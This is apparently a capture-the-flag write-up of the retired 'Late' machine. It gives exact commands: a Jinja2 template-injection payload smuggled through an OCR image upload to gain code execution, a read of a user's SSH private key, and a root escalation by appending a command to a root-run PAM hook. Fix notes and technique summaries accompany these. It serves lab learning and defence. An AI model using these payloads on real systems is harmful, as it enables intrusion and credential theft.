Late
Summary
Target late ($TARGET) was fully compromised via a two-step chain. The nginx web server hosted a Flask 'Image Reader' application on the virtual host images.late.htb whose /scanner endpoint OCR'd uploaded images and reflected the recognized text directly into an unsanitized Jinja2 template — a Server-Side Template Injection flaw.
Because OCR mangled underscores in dunder attribute names, I moved the sensitive token out of the image and into a URL query parameter, embedding only a safe lipsum filter chain in the image text; this bypassed OCR fidelity constraints entirely and achieved remote code execution as the web service account. That RCE was used to read svc_acc's SSH private key, yielding an SSH foothold and the user flag.
For root, the PAM-exec hook /usr/local/sbin/ssh-alert.sh — owned by svc_acc and executed as root on every SSH login — carried only the append-only file attribute rather than immutable. As file owner, svc_acc could append arbitrary shell commands to the script; a single appended line exfiltrated root.txt to a world-readable path, and a fresh SSH login triggered the tampered script as root, completing full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 3
nmap -Pn -sV -p22,80 $TARGETcurl -s -i http://$TARGET/echo "$TARGET images.late.htb" | sudo tee -a /etc/hostsExact commands 1
curl -s -i -H 'Host: images.late.htb' http://$TARGET/FixSanitize OCR output before passing it to the Jinja2 template engineCritical
Exact commands 2
convert -size 500x100 xc:white -fill black -font DejaVu-Sans-Mono -pointsize 30 -annotate +20+60 '{{7*7}}' ssti_test.pngcurl -sS -F 'file=@ssti_test.png' http://images.late.htb/scannerExact commands 2
payload="{{lipsum|attr(request.args.a)|attr('get')('os')|attr('popen')(request.args.c)|attr('read')()}}" && convert -size 2300x160 xc:white -fill black -font DejaVu-Sans-Mono -pointsize 30 -annotate +20+90 "$payload" rce_payload.pngcurl -sS -F 'file=@rce_payload.png' 'http://images.late.htb/scanner?a=__globals__&c=id'Exact commands 2
curl -sS -F 'file=@rce_payload.png' 'http://images.late.htb/scanner?a=__globals__&c=cat+/home/svc_acc/.ssh/id_rsa'vi svc_acc_id_rsa # paste the PEM block, then: chmod 600 svc_acc_id_rsaExact commands 2
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i svc_acc_id_rsa svc_acc@$TARGETcat ~/user.txtExact commands 4
ls -la /usr/local/sbin/ssh-alert.shlsattr /usr/local/sbin/ssh-alert.shgrep -r 'ssh-alert\|pam_exec' /etc/pam.d/ /etc/security/ 2>/dev/nullcat /usr/local/sbin/ssh-alert.shFixRemove service-account ownership of the root-executed PAM hook scriptCritical
Exact commands 3
printf '\ncat /root/root.txt > /tmp/.late_rootflag; chmod 644 /tmp/.late_rootflag\n' >> /usr/local/sbin/ssh-alert.shssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i svc_acc_id_rsa svc_acc@$TARGET 'true'cat /tmp/.late_rootflagAttack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Server-Side Template InjectionWebT1190
What it is
When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.
Why it works
The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.14.0 (Ubuntu) |